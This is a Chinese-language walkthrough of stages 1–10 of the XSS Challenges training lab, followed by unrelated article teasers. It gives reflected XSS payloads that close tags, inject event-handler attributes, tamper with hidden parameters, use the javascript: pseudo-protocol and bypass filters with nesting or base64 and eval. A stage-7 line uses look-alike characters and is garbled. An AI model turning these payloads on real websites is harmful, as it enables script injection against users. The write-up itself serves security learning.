XSS Challenges

news/2024/7/5 5:05:02

XSS 挑战 (由 yamagata21) - 阶段 #1 (int21h.jp)

题目要求注入 JavaScript 命令: alert(document.domain);

Stage #1

输入321来定位代码的位置,发现是处于<b></b>标签之内,没有任何过滤

// 第一种方法是闭合 b 标签,插入 Script 标签
"</b> <script>alert(document.domain)</script>//

// 第二种方法是直接在 b 标签内部构造 XSS
<script>alert(document.domain)</script>

定位位置

闭合 b 标签的方式

直接在 b 标签内部构造 XSS

Stage #2

输入321来定位代码的位置,发现注入点在input标签的value属性里面

// 第一种方法是闭合 input 标签,插入 Script 标签
"> <script>alert(document.domain)</script>//

// 第二种方法是在 input 标签中插入属性
// onmouseover 事件 --> 鼠标指针移动到图片后执行Javascript代码
123" onmouseover=alert(document.domain)>//

定位位置

闭合 input 标签,插入 Script 标签

input 标签中插入属性

Stage #3

输入321来定位代码的位置,发现注入点在b标签,于是乎使用 stage1 的 payload,结果失败了

  • 失败原因,用于构造标签的<>"被转义了
    • <> --> &lt;&gt;
    • " --> &quot;

通过查看源代码发现有两个参数,P1 是文本输入,P2 是下拉列表,因为 P1 有过滤,所以对 P2 进行注入

用 burp 截取数据包,篡改 P2 的值,Forward 放包之后会发现弹出

// burp 中对 P2 参数进行注入, 
p1=123&p2=<script>alert(document.domain)</script>

定位位置

两个参数

Stage #4

输入321来定位代码的位置,发现注入点还是在b标签,但是用 burp 抓包后发现了三个参数,P1、P2、P3

从源代码中搜索 P3 的值 hackme,发现是在一个 input 标签的 value 属性中,且type="hidden",这说明该 input 元素在网页页面是不可见的,换言之网页上面不显示输入框,做了隐藏处理。

// 用 burp 截取数据包,然后对 P3 参数进行篡改,用 "> 闭合 input 标签,插入 Script 标签
"><script>alert(document.domain)</script>

定位位置

查询 P3 的值

在 burp 中修改 P3 的值然后放包

P3 参数处注入

Stage #5

输入321来定位代码的位置,发现注入点在input标签的value属性里面

但与 Stage #2 不同的是 input 标签中加入了maxlength 属性,其值为15,意思是输入的字符不能超过 15。

maxlength 属性规定 元素中允许的最大字符数。

像是这中前端的设置是可以在源代码中进行修改,进而绕过限制

然后把maxlength的值设置为100,接着就是 Stage #2 的步骤

// 第一种方法是闭合 input 标签,插入 Script 标签
"> <script>alert(document.domain)</script>//

// 第二种方法是在 input 标签中插入属性
// onmouseover 事件 --> 鼠标指针移动到图片后执行Javascript代码
123" onmouseover=alert(document.domain)>//

定位位置

修改 maxlength 的值

成功弹窗

Stage #6

输入321来定位代码的位置,发现注入点还是在input标签的value属性中

于是用 Stage #2 闭合input 的方式来构造 XSS,测试后发现过滤了<>,但没有过滤", 这说明不可以用新标签,只能在input标签内通过"闭合前面的属性的方式,为后面新增属性

  • > --> &gt;

HTML 事件 | 菜鸟教程 (runoob.com)

// 需要点击搜索框触发,
" onclick=alert(document.domain)	

// 需要移动到搜索框触发
" onmouseover=alert(document.domain)

查看过滤情况

鼠标事件

Stage #7

注入点还是在input标签的value属性中,但依旧是过滤了<>"

" onmouseover=alert(document.domain)
// 321 会写入 input 的 value 值中,空格做个分隔,写后面的属性

321 οnmοuseοver=alert(document.domain)
321 onclick=alert(document.domain)

查看过滤

用点击事件

Stage #8

输入字符发现注入点在a标签的href属性中,随即想到JavaScript 伪协议绕过(需要点一下链接才能弹窗)

// javascript 伪协议
// <a> 标签的 href 属性用于指定超链接目标的 URL,href 属性的值可以是 JavaScript 表达式
javascript:alert(document.domain);

定位

JavaScript 伪协议

Stage #9

听说开发者是日本人,难怪会有这种题目

通过 burp 抓包发现参数是charset=euc-jp,亦即日文编码,需要识别 UTF-7 的 IE 浏览器(但 IE 已经退役了……)

看了其他人的方法,在控制台输出弹窗绕过

Stage #10

定位在input标签的value属性中,但domain过滤了,可以使用嵌套绕过的方式

// 嵌套绕过
"><script>alert(document.domadomainin)</script>

// 看其他人有用 base 64 编码的方式来绕过的,但是需要解密函数 atob() 对字符串进行解密再进行执行
// eval()函数计算 JavaScript 字符串,并把它作为脚本代码来执行
alert(document.domain) 经过 base 64 编码后,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==
"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>

嵌套

Stage #11

从此关开始打不开了


http://lihuaxi.xjx100.cn/news/821434.html

相关文章

《矩阵论》学习笔记

目录线性代数引论线性空间线性变换及矩阵Jordan标准型欧式空间和酉空间最小二乘法矩阵的分解三角分解QR分解正规矩阵及Schur分解满秩分解奇异值分解单纯矩阵的谱分解矩阵的广义逆广义逆矩阵广义逆矩阵AA^AAA^A的几种基本求法广义逆与线性方程组线性方程组的相容性、通解与A{1}A…

9 个视图子类、视图集、 路由系统、认证组件

目录1.9 个视图子类2 视图集2.1 通过ModelViewSet编写5个接口2.3 ViewSetMixin源码分析2.4 from rest_framework.viewsets包下的类2.5 视图层大总结3 路由系统3.1 自动生成路由3.2 action 装饰器4 认证组件4.1 登录接口4.2 认证功能4.3 全局使用4.4 局部使用 1.9 个视图子类 # …

【Leetcode】面试题 08.05. 递归乘法、HJ55 挑7

作者&#xff1a;小卢 专栏&#xff1a;《Leetcode》 喜欢的话&#xff1a;世间因为少年的挺身而出&#xff0c;而更加瑰丽。 ——《人民日报》 目录 面试题 08.05. 递归乘法 HJ55 挑7 面试题 08.05. 递归乘法 面试题 08.05. 递归乘法 题…

【LeetCode每日一题】【2023/2/6】2331. 计算布尔二叉树的值

文章目录2331. 计算布尔二叉树的值方法1&#xff1a;递归2331. 计算布尔二叉树的值 LeetCode: 2331. 计算布尔二叉树的值 简单\color{#00AF9B}{简单}简单 给你一棵 完整二叉树 的根&#xff0c;这棵树有以下特征&#xff1a; 叶子节点 要么值为 0 要么值为 1 &#xff0c;其中…

[ 2204阅读 ] 真题 - 6

Part 3 真题 Passage The Rise of Florence Paragraph 1 In the Central Middle Ages, starting around 1000 A.D., a number of northern Italian cities, including Venice and Genoa, rode a wave of economic and population growth that saw them become among the most…

【成为架构师课程系列】性能优化技术之“池化技术”:如何减少频繁创建数据库连接的性能损耗?

池化技术:如何减少频繁创建数据库连接的性能损耗? tcpdump 抓包工具 在前面几节课程中,我从宏观的角度带你了解了高并发系统设计的基础知识,你已经知晓了,我们系统设计的目的是为了获得更好的性能、更高的可用性,以及更强的系统扩展能力。 那么从这一讲开始,我们正式…

0基础使用Vite+Vue3创建项目

什么是 Vue&#xff1f; Vue是一款用于构建用户界面的 JavaScript 框架。它基于标准 HTML、CSS 和 JavaScript 构建&#xff0c;并提供了一套声明式的、组件化的编程模型&#xff0c;帮助你高效地开发用户界面。无论是简单还是复杂的界面&#xff0c;Vue 都可以胜任。 声明式…

Java网络编程原理及应用

Java网络编程网络编程概述Socket简介底层数据结构TCP可靠性传输三次握手四次挥手TCP编程UDPUDP编程网络编程概述 网络编程是指在网络通信协议下&#xff0c;不同计算机上运行的程序&#xff0c;可以进行数据的传输与交互。 网络编程三要素&#xff1a; 要素说明IP地址网络设备…